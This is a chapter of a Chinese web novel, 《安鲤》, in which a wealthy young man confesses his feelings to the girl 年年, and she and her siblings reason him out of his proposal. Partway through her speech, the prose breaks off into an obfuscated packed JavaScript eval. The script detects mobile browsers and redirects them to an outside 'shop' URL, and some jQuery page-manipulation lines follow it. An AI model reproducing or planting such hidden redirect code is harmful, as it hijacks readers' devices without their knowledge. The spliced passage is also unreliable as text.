28. 真心
作品:《安鲤》 懵懂的悸动是年少的不可多得之物,胸口的小鹿生活在一片近乎无忧无虑的树林,四季如春,微风袭人,它就藏在繁茂的树林中,自由、肆意,若是运气好,或许能在波光粼粼的湖镜中发现它的身影。
不要刻意去找寻它,它是有主的。
温修竹今天特意穿得华重,脚踩三尺高金玉屐,头戴累金丝凤求凰鎏银高帽,腰上的十二道金锁升级成了三十六道,可是多亏平日里没少吃饭,不然哪里走得动呢。
他踌躇着,又带着自己都不懂的坚定,站定在年年面前。
年年瞅着他腰上的三十六道锁,今天是超级三倍黄金人。
安鲤的小脑瓜不知何时从年年怀里退了出来,滴溜溜的大眼睛来回看。
朝岁打水回来,默默坐在侧面。
恍若三堂会审,温修竹低着头,手仅仅攥着,额上出了细汗,反射着金冠的光,无端有些刺眼。
“我想让你随我回西京,我是温家的嫡亲的大少爷,我叔父是当今皇上。”他低着头,莫名带着些女儿家的娇羞。
“所以呢,这跟我们有什么关系?”安鲤觉得莫名其妙,抢先答道。
“我...我会对你好,我每个月有五百两银子,给你四百两。若是,若是不够花,我还知道母亲的私房钱,藏在西府假山下,我去偷来,都给你。你想吃什么就吃什么,想玩什么就玩什么。”
“你怎能如此不知廉耻!你是我什么人!我要跟你走。”
年年听懂了,这是话本子里的公子和狐妖,无媒奔走,受人唾弃。
又是羞又是脑,涨红着脸,厉声呵斥。
真好看呐,红着脸也好看,亮晶晶泛着水汽的眼眸也好看,像母亲新得的红宝石,不管不顾的发着光,温修竹抬头撇了一眼又一眼。
朝岁也来了脾气,起身将两个小姑娘挡在身后,“你是什么人,又凭何说这样的话,你是戴罪之人,名声早就臭了。我妹妹尚且年幼,还是清清白白的一个小姑娘,说话可要注意些。”
“我是真心的,我甚心悦你。你跟我走,我不会亏待你的。往后在外面,我是主子。可关上门来,你就是天,让我怎么样都行。”
温修竹垫着脚,踉踉跄跄。越过大舅哥的肩膀,瞅着后面的心上人,声音有些急迫,为自己辩驳。
安鲤顿觉不好,巡视左右,有三三两两的探寻目光,拽过朝岁,让他坐下。
板着脸轻声问,“你说你会待她好,我且问你,她以什么身份随你回去,做丫鬟还是当小姐?”
“自然是小姐。”
“好,我再问你。那是什么小姐,是哪个远房亲戚家的表小姐,在路上救你一命的恩人小姐,还是偶遇逃难的大户人家官家小姐?你可想好了要以什么身份处置她?”
温修竹心里团团乱麻,没想着这么多,急得团团转,说不出话来。
安鲤的眉毛皱的更深,唬着脸学宋学士那一套,“若是亲戚家的表小姐,到了你家就是寄人篱下,稍微有点脸面的丫鬟婆婆都能欺负她,这就是你说的对她好?”
“不会的,有我护着。”
“护着?你能时时刻刻呆在她身边,后院的那些阴私手段,想必大少爷您一概不知道吧,什么巫蛊诅咒,什么狸猫换太子。只怕我妹妹今天随你回去,明日就做了乱葬岗的一缕幽魂,大少爷你,还在哪个春宵红烛里浪呢。”
安鲤打量着他无辜中含着无知的蠢态,心里更是发恨。
“再说那什么所谓的恩人小姐,恩人恩人,是要敬着,尊着。恩人最好的结局就是化作高坟直立的墓碑,或是宗庙里放着的牌位。初一十五的去进香拜念,有个香火情是最好。若是真活着,反倒结了仇。”
“温某对天发誓,绝无此意。”
温修竹竖起三根手指,信誓旦旦。
安鲤冷笑,眉目间的冷峻化作一把凌厉的刀刃,“你无此意,你敢说你母亲没有,你父亲没有,你叔父没有吗。”
三根手指收了回去,安鲤乘胜追击,“还有那官家小姐...”
年年在袖口底下轻轻握住安鲤的手,微不可查的冲她摇摇头,起身从哥哥姐姐的包围圈里走出来,朝着温修竹福了福身,行了个很端庄的礼。
“温公子,我兄弟姐妹同我情深,话出口急,你不要见怪。”
“我自小没了父母,好在命运垂怜,剑仙不嫌我凄苦,护于身下。年纪最小,最得爱重。儿时心智不全,思念父母,夜半惊醒,有姐姐抱我入眠。年少顽皮,一人出主意,四人同做同罚,绝不叫我孤苦伶仃,此乃情之偏爱。”
“出行衣物,虽无坠珠鎏金马车相伴,亦有忠厚牛车慢行。春日烂漫鲜花,夏风青雨拂面,秋叶零落入怀,雪花晶莹洁白,均是人间遗物,马车中见不得的风景。”
“身穿朴素,但月月都有新衣裳。夏衫单薄贴肤,是我明川兄长去城里最好的制衣坊,要最好的绣娘最好的布。冬季苦寒,穿着厚棉服仿佛置身于春三月,厨房整日烧着柴火,常备热水,从未有过冻疮。”
“初到禹州,吃不惯此地饭菜。剑仙特意叮嘱厨娘安姨,我的饭食单独做。外出游玩,怕我拘谨,但凡目之所及,不管贫贱贵重,都买回家供我赏玩。”
“第二年,迷上了刺绣。绣的鸟不像鸟,花不似花。绣娘见过我的作品,知我愚钝,没有此等天赋,不肯收我。是兄长请人牵线,剑仙连夜跑去南边,买了最好的丝线为礼。至今三年,未有成绩,从未埋怨催促。”
“公子刚才说,若我随你回去,想做什么做什么。我是小城儿女,没见过什么江水波涛、浪潮翻天,私心里觉得,这就是我最好的日子。我所求的,就是养在剑仙膝下,欢欢快快如沐浴在阳光中的鲜花一样的长大。有兄弟姐妹伴于身侧,纵然无血缘牵引,从未感觉有何不同。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17067567|194520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将来剑仙年老,承欢膝下,管家理事,尽一尽那不能说出口的,为人子女的情分。这就是我最好的生活。”
“我观公子锦衣玉带,珠光宝气。想来是钟鸣鼎食之家,我十辈尚且不及。自然金口玉言,字字肺腑,年年都信。”
“可人就像花,就说那杜鹃吧。过了秦岭,就是漫山遍野,花团锦簇,不需打理,便是轰轰烈烈。可在北方,就算你勤勉的建个暖阁,夏浇水,冬烧炭,勉强活了。也是枝叶凋零,更不要提什么开花结果了。盖因杜鹃喜湿,若是能逃,它早就连滚带爬的逃回南边去了。所谓南橘北枳,就是如此道理,公子又何必强求呢?”
温修竹就这么看着小姑娘娓娓道来,进退有度,有理有据,垂首低头,却只看到自己的将军肚挺立着。
“温姑娘,我晓得我配不上你。我貌丑无颜,又不学无数。唯有大家嫡子的身份拿得出手,可就是我这般人,也是有颗真心的。”
“西京的美人遍地都是,姑娘家家都有。我是花楼常客,弹琴的是今天游街的桃花花魁,斟酒的是老鸨刚开了脸的亲闺女,不过是求我手里大方些,多得些金银罢了。”
“府里伺候的丫鬟,都是被父母买进来签了死锲的。我是个纨绔,西京人人都知道,可若是和我家管事的没什么交情在,卖身都要等个十万八千年。”
“我是畏罪潜逃,来这小城暂且避避风头。可你若是说,都是我的错,我也是不认的。天时地利人和,我最多只占人和的一半。我倒不是个多好的人,也无意多辩驳,我只能说,我从未强迫过。”
“我早就晓通人事,床上的人见多了,矜持的,热烈的,清冷的,没什么两样。见了你,才知情事。说是一见钟情也好,见色起意也罢,此时此刻,是捧着真心献给你。”
阳光依旧照在他脸上,半明半暗,晦涩不堪。
“我请问公子,今日你待我之心,十年之后,仍然如此吗?”
“我...”
“万望公子据实回应。”
“十年太远,我不知道。”他低下头去,整个人浸在阴暗里。
“我再问公子,我绝不做妾,只求正妻之位。”
他又摇头,“你无父无母,身份低微,做不得温家主母。母亲已为我想看好了名门望族家的小姐,只等她及笄,便成亲。”
“我只能答应你,若是不愿随我回温家。在闹市寻个清净的宅子,不需向主母定省晨昏,平日里得了空,我会时常来看你的。”
“公子,最后一个问题。我的丈夫,只能有我一人,不能同旁人温存生子,你可能办得到。”
“我....”
他自知做不到,今天闻了桂花,就想着牡丹的雍容华贵。见惯了牡丹,怀念起桃花的温柔小意。折了两支桃花,又念着腊梅,是不是真有赛雪那么香。
“公子,趁着日头还好,看得清路,早些启程吧。”

